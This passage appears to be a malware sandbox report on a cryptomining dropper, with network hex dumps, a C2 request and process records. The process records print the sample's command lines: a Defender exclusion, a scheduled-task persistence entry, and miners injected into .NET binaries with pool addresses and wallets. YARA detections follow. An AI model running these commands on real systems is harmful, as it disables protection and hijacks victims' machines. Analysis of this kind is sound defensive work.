                                                                              Jan 3, 2023 08:16:05.776411057 CET1032INData Raw: 76 32 a2 9e 17 af 2c 7d c1 60 06 34 68 4a 15 97 0b 61 44 30 cd ef 6b 60 d9 e1 e4 7c 09 29 4b 6e cc 39 20 35 7d 15 c0 ad 3b 33 0a ed 4d 23 61 73 27 f8 b9 fb c8 66 c4 5e ef 89 ec 7a 37 a9 80 6c 17 c8 64 b1 f7 86 d1 83 ca fd 0a bb 07 de 89 68 8b c5
                                                                              Data Ascii: v2,}`4hJaD0k`|)Kn9 5};3M#as'f^z7ldhzP&`qX *i&nnsM(g`cRXsuw8&^qL{pO>gu7m, fj`Zaf"fJ+Z
                                                                              Jan 3, 2023 08:16:05.776429892 CET1034INData Raw: 61 2d b3 88 51 2a b3 30 2c cf 1f 11 ca ae 6d 05 e8 98 f5 ac 61 3f 5e f6 fb aa cb 8a 8f 5a 3b 0e 72 01 63 1a 91 a0 0b 3c 42 d5 a3 5f 86 22 7c ac 57 42 f3 2f 66 45 6e c0 32 2b e0 ea 56 76 68 71 03 28 5f 3f d7 48 00 7d f9 56 f5 96 58 07 35 3d fd 15
                                                                              Data Ascii: a-Q*0,ma?^Z;rc<B_"|WB/fEn2+Vvhq(_?H}VX5=8&6k!QY^Lf2hT~#N'SG;2 _JQo @Q6ILTDhy?BiM/=6egj9s\"PUy5$!Vn"
                                                                              Jan 3, 2023 08:16:05.776439905 CET1034INData Raw: 3b 6a bd a3 0c b0 e1 40 99 f4 b1 7a e2 9f 04 94 b3 02 18 80 73 ac c2 00 45 da 27 15 5d ba 2c 1c ba 21 69 d8 53 38 9b 0a f3 ac 33 a1 e8 0d cb 9b b8 22 65 fc 31 ce 40 1a 11 ed 76 51 87 0b 8d 46 17 5b 15 ad 32 1a 8b 6d 2a 98 f6 6a cc bc 9d 7d 91 7d
                                                                              Data Ascii: ;j@zsE'],!iS83"e1@vQF[2m*j}}g&( 95#c{1&C]`i_Gq-[F&E$Pbz@]#uAc\/u(j$t]2Y-:42)spt.4du9^4~Skb#r=H!
                                                                              Jan 3, 2023 08:16:05.776453018 CET1036INData Raw: e1 1f a8 ac 11 41 25 05 5e 26 b0 2d b8 c3 6b ea 3a 4a 34 38 df a6 d0 30 5d 94 04 80 83 e9 90 31 7b 81 d0 a7 b5 2c 76 68 f5 fd 06 75 fd a0 42 76 dc d8 dc 7f bc cd 7b b2 c7 3d 76 f3 a3 91 0a 10 cd 42 13 14 73 0b ef f4 9d db 27 0c 08 8b ad 67 04 f7
                                                                              Data Ascii: A%^&-k:J480]1{,vhuBv{=vBs'g=6Hq )LDQVi-7$S2g,C*.r&HM!48?/}g;VrV6@1lc%(OdFF*v^1.0f9HPiJfOU
                                                                              Jan 3, 2023 08:16:05.776463985 CET1037INData Raw: c3 c3 05 45 c3 30 76 54 39 9e 8b 7c 8d da 84 88 2a 89 95 73 48 9c 8f b4 22 63 82 51 5d 68 85 d9 ef 40 30 9e a4 50 2d 06 4f 48 c7 03 84 9f a4 6e e4 f8 52 1e e8 70 8f 23 4b 2a 87 5d 83 16 1f 07 d3 b3 0c 96 b1 f4 14 8c 67 72 de 8d 78 57 e7 c6 29 01
                                                                              Data Ascii: E0vT9|*sH"cQ]h@0P-OHnRp#K*]grxW)YGM: "j@-8Ivs2"IKr~\D643Ni |9\)bpVLhdD ;J'4RDhP~S@{W%+7Doq.
                                                                              Jan 3, 2023 08:16:05.776475906 CET1038INData Raw: 28 60 ef 04 34 26 df cf 6c 3c c6 ec c3 dd 8c 11 78 15 97 c9 e1 0b 91 73 96 61 ce dd bc 55 ce 26 c0 9e 1f e5 22 14 0d bd 33 ef 07 f4 ac f6 f7 65 fa 01 e3 a2 4b 47 63 7b ad 57 05 41 0f 77 11 8c e0 0b da e5 76 69 c3 73 e5 df d3 5e 9a 8b 78 f2 9a f1
                                                                              Data Ascii: (`4&l<xsaU&"3eKGc{WAwvis^x~7/E_x=J\^>>0pc-BOa@D&>Gk(I/A^Lf^6khRebe#icBkV,H
                                                                              Jan 3, 2023 08:16:05.857150078 CET1040INData Raw: 0e f4 bc 11 be c5 6f 0a 21 d1 dd 37 54 57 5f 22 07 27 94 37 8a d8 35 bd 7d 94 d8 93 66 1c 77 de 27 35 eb 86 1c f8 cc b5 75 3a a7 33 9a f4 f5 67 07 85 97 c0 69 da ec 0c 83 02 d4 94 b7 d2 30 24 28 3b 32 d6 07 50 c4 a0 d5 18 14 e2 a7 38 3a 57 90 f3
                                                                              Data Ascii: o!7TW_"'75}fw'5u:3gi0$(;2P8:Win~]1:)otJ@imYmj-Ur-hR1O&3l6"\0^l^IN}o;5ttdov%8zi'L0WS>,p\F S4


                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                              3192.168.11.2049888141.8.192.15180C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              TimestampkBytes transferredDirectionData
                                                                              Jan 3, 2023 08:17:17.087321043 CET6113OUTGET //zima.php?mine=ETC HTTP/1.1
                                                                              Host: f0758246.xsph.ru
                                                                              Connection: Keep-Alive
                                                                              Jan 3, 2023 08:17:17.377266884 CET6113INHTTP/1.1 200 OK
                                                                              Server: openresty
                                                                              Date: Tue, 03 Jan 2023 07:17:17 GMT
                                                                              Content-Type: text/html; charset=UTF-8
                                                                              Content-Length: 152
                                                                              Connection: keep-alive
                                                                              Set-Cookie: PHPSESSID=3bc75f95c2307e2cc28298dc6cb32883; path=/
                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                              Pragma: no-cache
                                                                              Data Raw: 70 53 62 4f 47 4a 30 56 52 55 53 7a 58 54 65 4e 77 45 41 4c 31 71 4a 51 43 32 34 72 74 55 6d 5a 50 5a 34 51 75 31 67 78 39 6f 2f 77 6f 67 53 53 49 4b 67 54 4c 4c 45 65 45 62 70 68 6f 4b 6a 4e 58 76 30 45 69 32 50 52 30 6c 42 75 61 6f 62 33 36 68 6e 56 4c 32 50 49 4d 74 43 30 67 38 67 77 44 5a 32 2f 4c 46 59 59 68 38 52 34 73 47 4f 46 55 6c 30 6b 67 63 45 79 46 30 63 72 4d 5a 31 35 36 58 34 53 42 2b 6a 5a 6d 38 74 79 46 65 2f 6d 66 4f 42 5a 44 67 3d 3d
                                                                              Data Ascii: pSbOGJ0VRUSzXTeNwEAL1qJQC24rtUmZPZ4Qu1gx9o/wogSSIKgTLLEeEbphoKjNXv0Ei2PR0lBuaob36hnVL2PIMtC0g8gwDZ2/LFYYh8R4sGOFUl0kgcEyF0crMZ156X4SB+jZm8tyFe/mfOBZDg==


                                                                              Statistics

                                                                              CPU Usage

                                                                              Click to jump to process

                                                                              Memory Usage

                                                                              Click to jump to process

                                                                              High Level Behavior Distribution

                                                                              Click to dive into process behavior distribution

                                                                              Behavior

                                                                              Click to jump to process

                                                                              System Behavior

                                                                              General

                                                                              Target ID:1
                                                                              Start time:08:14:45
                                                                              Start date:03/01/2023
                                                                              Path:C:\Users\user\Desktop\gOKMPhOLiN.exe
                                                                              Wow64 process (32bit):true
                                                                              Commandline:C:\Users\user\Desktop\gOKMPhOLiN.exe
                                                                              Imagebase:0x740000
                                                                              File size:1599488 bytes
                                                                              MD5 hash:4C8D2D06487D07EC350AA5C5D699BB55
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:3
                                                                              Start time:08:14:51
                                                                              Start date:03/01/2023
                                                                              Path:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:"C:\Users\user\AppData\Local\Temp\ghoul.exe"
                                                                              Imagebase:0x590000
                                                                              File size:921088 bytes
                                                                              MD5 hash:813862D29C21094EBD1F95FEB80771FF
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET
                                                                              Antivirus matches:
                                                                              • Detection: 100%, Avira
                                                                              • Detection: 100%, Joe Sandbox ML
                                                                              • Detection: 52%, ReversingLabs
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:6
                                                                              Start time:08:15:12
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
                                                                              Imagebase:0x7ff6b3750000
                                                                              File size:452608 bytes
                                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:7
                                                                              Start time:08:15:12
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\conhost.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              Imagebase:0x7ff692a30000
                                                                              File size:875008 bytes
                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Reputation:high

                                                                              General

                                                                              Target ID:9
                                                                              Start time:08:15:38
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\cmd.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe
                                                                              Imagebase:0x7ff712ec0000
                                                                              File size:289792 bytes
                                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:10
                                                                              Start time:08:15:38
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\conhost.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              Imagebase:0x7ff692a30000
                                                                              File size:875008 bytes
                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Reputation:high

                                                                              General

                                                                              Target ID:11
                                                                              Start time:08:15:38
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\schtasks.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
                                                                              Imagebase:0x7ff67bcb0000
                                                                              File size:235008 bytes
                                                                              MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:12
                                                                              Start time:08:15:41
                                                                              Start date:03/01/2023
                                                                              Path:C:\ProgramData\Adobe\PFCIA.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\ProgramData\Adobe\PFCIA.exe
                                                                              Imagebase:0x10000
                                                                              File size:337641472 bytes
                                                                              MD5 hash:97909699172AB2BE8E24FDC58CCE308E
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET
                                                                              Antivirus matches:
                                                                              • Detection: 100%, Avira
                                                                              • Detection: 100%, Joe Sandbox ML
                                                                              Reputation:low

                                                                              General

                                                                              Target ID:13
                                                                              Start time:08:16:04
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3
                                                                              Imagebase:0x7ff692a10000
                                                                              File size:3235192 bytes
                                                                              MD5 hash:A526DE1F9DE51E1ACBC6B8A492673174
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Yara matches:
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_CryptoMiner_Jan19_1, Description: Detects Crypto Miner strings, Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: JoeSecurity_ccminer, Description: Yara detected ccminer, Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000000D.00000002.96419200084.00000264AD398000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: JoeSecurity_ccminer, Description: Yara detected ccminer, Source: 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000000D.00000002.96418311604.00000264AD390000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000000D.00000002.96418311604.00000264AD390000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000000D.00000002.96412646424.000000014008D000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:14
                                                                              Start time:08:16:05
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\cmd.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\cmd.exe /c cls
                                                                              Imagebase:0x7ff712ec0000
                                                                              File size:289792 bytes
                                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Reputation:moderate

                                                                              General

                                                                              Target ID:15
                                                                              Start time:08:16:05
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\conhost.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              Imagebase:0x7ff692a30000
                                                                              File size:875008 bytes
                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:16
                                                                              Start time:08:16:11
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
                                                                              Imagebase:0x2a213ab0000
                                                                              File size:45472 bytes
                                                                              MD5 hash:DC67ADE51149EC0C373A379473895BA1
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language
                                                                              Yara matches:
                                                                              • Rule: JoeSecurity_PhoenixMiner, Description: Yara detected Phoenix Miner, Source: 00000010.00000003.92361391154.000002A213D48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

                                                                              General

                                                                              Target ID:17
                                                                              Start time:08:16:53
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
                                                                              Imagebase:0x7ff6b3750000
                                                                              File size:452608 bytes
                                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET

                                                                              General

                                                                              Target ID:18
                                                                              Start time:08:16:53
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\conhost.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              Imagebase:0x7ff692a30000
                                                                              File size:875008 bytes
                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:19
                                                                              Start time:08:17:00
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\cmd.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe
                                                                              Imagebase:0x7ff712ec0000
                                                                              File size:289792 bytes
                                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:20
                                                                              Start time:08:17:00
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\conhost.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              Imagebase:0x7ff692a30000
                                                                              File size:875008 bytes
                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:21
                                                                              Start time:08:17:00
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\schtasks.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
                                                                              Imagebase:0x7ff67bcb0000
                                                                              File size:235008 bytes
                                                                              MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:23
                                                                              Start time:08:17:33
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
                                                                              Wow64 process (32bit):
                                                                              Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
                                                                              Imagebase:
                                                                              File size:45472 bytes
                                                                              MD5 hash:DC67ADE51149EC0C373A379473895BA1
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:C, C++ or other language

                                                                              General

                                                                              Target ID:26
                                                                              Start time:08:17:36
                                                                              Start date:03/01/2023
                                                                              Path:C:\Windows\System32\WerFault.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\Windows\system32\WerFault.exe -u -p 4436 -s 864
                                                                              Imagebase:0x7ff6ba970000
                                                                              File size:568632 bytes
                                                                              MD5 hash:5C06542FED8EE68994D43938E7326D75
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET

                                                                              General

                                                                              Target ID:29
                                                                              Start time:08:22:03
                                                                              Start date:03/01/2023
                                                                              Path:C:\ProgramData\Adobe\PFCIA.exe
                                                                              Wow64 process (32bit):false
                                                                              Commandline:C:\ProgramData\Adobe\PFCIA.exe
                                                                              Imagebase:0xc60000
                                                                              File size:337641472 bytes
                                                                              MD5 hash:97909699172AB2BE8E24FDC58CCE308E
                                                                              Has elevated privileges:true
                                                                              Has administrator privileges:true
                                                                              Programmed in:.Net C# or VB.NET
                                                                              Yara matches:
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96518345191.0000000004260000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96518345191.0000000004260000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96510475842.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96510475842.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96503474855.00000000041A4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96503474855.00000000041A4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96518966653.0000000004268000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96518966653.0000000004268000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96525410376.00000000042B2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96525410376.00000000042B2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96481512642.00000000040AC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96481512642.00000000040AC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96481787703.00000000040B0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96481787703.00000000040B0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96517434578.0000000004254000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96517434578.0000000004254000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96490547034.0000000004112000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96490547034.0000000004112000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96520568936.000000000427A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96520568936.000000000427A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96514861660.0000000004234000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96514861660.0000000004234000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96499386083.0000000004174000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96499386083.0000000004174000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96489360699.0000000004102000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96489360699.0000000004102000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96522735673.000000000428E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96522735673.000000000428E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96500072191.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96500072191.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96509067249.00000000041EA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96509067249.00000000041EA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96494136859.000000000413A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96494136859.000000000413A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96507535505.00000000041D6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96507535505.00000000041D6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96501169084.0000000004188000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96501169084.0000000004188000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96505520371.00000000041BA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
